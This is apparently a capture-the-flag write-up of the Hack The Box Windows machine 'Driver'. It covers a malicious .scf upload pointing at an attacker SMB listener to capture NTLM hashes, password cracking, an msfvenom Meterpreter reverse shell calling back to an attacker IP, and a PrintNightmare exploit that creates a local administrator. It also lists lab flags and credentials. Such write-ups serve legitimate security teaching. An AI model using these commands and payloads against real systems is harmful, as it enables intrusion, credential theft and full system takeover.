🚩 HTB Machine - Driver

Primary: 01 - Network Security

Secondary: 02 - Enumeration, 02 - Credential Access, 02 - Remote Code Execution, 02 - Privilege Escalation

Executive Summary

• IP: 10.10.11.106
• OS: Windows (standalone host, WORKGROUP, hostname DRIVER — not domain-joined)
• Key Technique: A firmware “upload for manual review” web feature is really just a file drop that gets opened by a real user — uploading a malicious .scf file triggers Forced NTLM Authentication (SCF, LNK, URL) the moment it’s browsed, handing over a NetNTLMv2 hash that cracks straight to a WinRM login. From there, a Meterpreter session and PrintNightmare (CVE-2021-1675) — a validation bug in the Print Spooler’s driver-installation RPC call — turns any local code execution into NT AUTHORITY\SYSTEM.
• Status: Completed

---

Reconnaissance

Nmap Scan

# Full TCP port sweep, then service/version detection only on what's actually open
nmap -Pn -p- -sC -sV -oA initial_scan 10.10.11.106

Output (brief version):

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
135/tcp  open  msrpc        Microsoft Windows RPC
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
 
Host script results:
| smb-security-mode:
|   account_used: guest
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 7h00m06s, deviation: 0s, median: 7h00m06s

Summary: this is a standalone Windows host, not a domain member, so the whole engagement stays local to this one machine. Port 80 is the interesting one: an IIS site gated by HTTP Basic Auth, explicitly labeled “MFP Firmware Update Center” (MFP means Multifunctional Printer) The SMB security mode is also a very interesting one where it marked the disabled message signing function as dangerous.

---

Foothold (Default Creds → SCF Upload → Cracked Hash → WinRM)

Web Enumeration — admin:admin

Open a browser and navigate to http://10.10.11.106/, a pop up requires us to enter a pair of username and password.

admin:admin works. The site is a firmware update portal for network printers/MFPs — its “Firmware Updates” page states that uploaded files are pushed to an SMB share and reviewed manually by the team. That review step is the actual attack surface: a human (or an automated process acting like one) is going to open whatever gets uploaded.

SCF Upload → Forced Authentication

A firmware/driver upload feature for network printers is exactly the kind of surface where a .scf file doesn’t look out of place — real printer driver packages routinely ship small auxiliary shell/config files alongside the actual driver DLL, so the extension itself gives a reviewer (human or automated) no reason to hesitate before opening it, unlike something that screams “executable.” That’s what makes .scf the right choice here specifically, not just that it happens to exist as a file format.

Per Forced NTLM Authentication (SCF, LNK, URL), a Shell Command File’s IconFile path is resolved by Explorer the instant its containing folder is listed — no execution, no click needed. Pointing that path at an attacker-controlled SMB listener turns “someone reviews this upload” into an automatic NTLM authentication attempt:

# Start the listener before uploading anything — the capture has to be ready
sudo responder -I tun0 -w

cat > exploit.scf << 'EOF'
[Shell]
Command=2
IconFile=\\10.10.14.57\share\icon.ico
EOF

The moment the upload is reviewed, a NetNTLMv2 handshake for the user tony lands in Responder’s output.

Cracking the Captured Hash

We copy the captured hash and pass it to crack with John the Ripper:

# Dictionary attack against the captured NetNTLMv2 handshake
john --format=netntlmv2 tony_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Reveal the cracked password
john --show --format=netntlmv2 tony_hash.txt

Recovered: tony:liltony.

# WinRM is open (5985) — log straight in with the cracked credential
evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'

---

Privilege Escalation

Meterpreter Session → Interactive Context

WinRM is only good for one-shot command execution — fine for running a single payload, but not for the kind of live, back-and-forth privilege-escalation enumeration coming up next (checking loaded modules, migrating between processes, running suggester modules). The plan is to spend that WinRM access once: use it to plant a Meterpreter payload, then work from the interactive session it hands back instead.

The listener has to already be running before the payload ever executes, since it’s the payload that reaches back out to us, not the other way around:

# Generate a standalone Meterpreter payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.4 LPORT=4444 -f exe > shell.exe

In a separate terminal, still on our own attacker machine — msfconsole is what will catch the callback connection from the windows machine so we open its listener first:

msfconsole -q
msf > use exploit/multi/handler
msf > set payload windows/x64/meterpreter/reverse_tcp
msf > set lhost tun0
msf > set lport 4444
msf > run

Uploading alone doesn’t trigger anything; the file still has to actually be executed for the callback to fire:

# Upload the payload over the existing WinRM session
upload shell.exe

# Run it — the reverse connection lands in the waiting handler the instant this executes
.\shell.exe

The handler catches a session, but since it was spawned from a WinRM worker process (wsmprovhost.exe) rather than a real logon, it comes in as session 0 — a non-interactive services session, not the interactive desktop session tony actually owns. Several post-exploitation modules (including the one used next) expect an interactive context, so the session needs to be moved before going further:

# List processes to find something running in an interactive session
meterpreter > ps

ps lists explorer.exe running as DRIVER\tony under session 1 — that’s the desktop session to move into:

# Jump the current Meterpreter session into that process instead
meterpreter > migrate <explorer.exe_pid>

Discovery — local_exploit_suggester

Rather than guessing at a privesc path, Meterpreter’s suggester module fingerprints the target’s patch level and lists which known local-privilege-escalation modules plausibly apply:

meterpreter > background
msf exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set SESSION <session_id>
msf post(multi/recon/local_exploit_suggester) > run

On thing that’s stand out particularly for me is the ricoh_driver_privesc, considering how this machine’s theme revolves around printers and stuff, I think this one might be the intended way to escalate privilege.

Looking more into the exploit, it seems like this exploit targets the CVE-2019-19363, which allows attacker to perform local privilege escalation, discovered in Ricoh Windows printer drivers.

The Ricoh PCL6 Universal Print driver ships with insecure permissions on its associated driver files that allows a local, unprivileged user can overwrite those files with a malicious payload, then trigger the driver’s uninstall routine through the print spooler’s API — because the spooler (which is a service runs with SYSTEM privilege) is the one performing the uninstall, it ends up executing the attacker-planted file with SYSTEM privileges.

Since our meterpreter has already found out that the vulnerable driver is installed on the server (hence the message “target appears to be vulnerable”), we need to check if the the spooler service is running on the box:

Get-Service -Name Spooler

It is confirmed that the service is using the right service that’s vulnerable.

PrintNightmare → NT AUTHORITY\SYSTEM

Confirmed running, and per PrintNightmare (CVE-2021-1675) the actual bug lives in that service’s RpcAddPrinterDriverEx RPC call: it fails to properly enforce that the caller registering a new printer driver is actually an administrator, and since the Spooler service itself always runs as NT AUTHORITY\SYSTEM, getting it to load an attacker-supplied “driver” DLL is direct code execution at the highest privilege level. Rather than ricoh_driver_privesc — tied to whatever driver happens to already be installed — the standalone, publicly-released PowerShell PoC for CVE-2021-1675 registers its own driver from scratch, so it doesn’t depend on the target’s existing driver set at all:

git clone https://github.com/calebstewart/CVE-2021-1675.git

# Load the PowerShell bridge and import the cloned exploit into the Meterpreter session
meterpreter > load powershell
meterpreter > powershell_import CVE-2021-1675/CVE-2021-1675.ps1

# Register a new local administrator by abusing the vulnerable RPC call —
# DriverName is just an attacker-chosen label, not a real installed driver
powershell_execute "Invoke-Nightmare -NewUser '<new_user>' -NewPassword '<new_password>' -DriverName 'Totally Not Malicious'"

<new_user>/<new_password> — the exact values used during the real run weren’t captured in the saved artifacts; substitute whatever was actually passed to Invoke-Nightmare (or its defaults, adm1n/P@ssw0rd, if run with no arguments).

# Authenticate as the newly-created local administrator for a SYSTEM-equivalent session
evil-winrm -i 10.10.11.106 -u '<new_user>' -p '<new_password>'

root.txt: 80bf400edf274449da2c3284d0c45545.

---

Why the exploits worked

1. A manual file-review process treated as a safe sandbox: nothing about “a human opens the file” is safe when the file itself can trigger network authentication just by being listed — see Forced NTLM Authentication (SCF, LNK, URL).
2. A weak, crackable password behind a captured hash: the NetNTLMv2 capture alone wasn’t the win — tony:liltony held up for exactly as long as a rockyou.txt run.
3. An unpatched Print Spooler service exposed to any local code execution: RpcAddPrinterDriverEx’s missing privilege check meant tony’s low-privileged foothold was always one PowerShell script away from NT AUTHORITY\SYSTEM — see PrintNightmare (CVE-2021-1675).

---

Loot & Flags

• User Flag: c1485adfb9830e5e742092d0bd8132e6
• Root Flag: 80bf400edf274449da2c3284d0c45545
• Credentials:
  • admin:admin (HTTP Basic Auth, MFP Firmware Update Center)
  • tony:liltony (NetNTLMv2 captured via Forced NTLM Authentication (SCF, LNK, URL), cracked with John the Ripper)
  • <new_user>:<new_password> (local Administrator, created via PrintNightmare (CVE-2021-1675))

---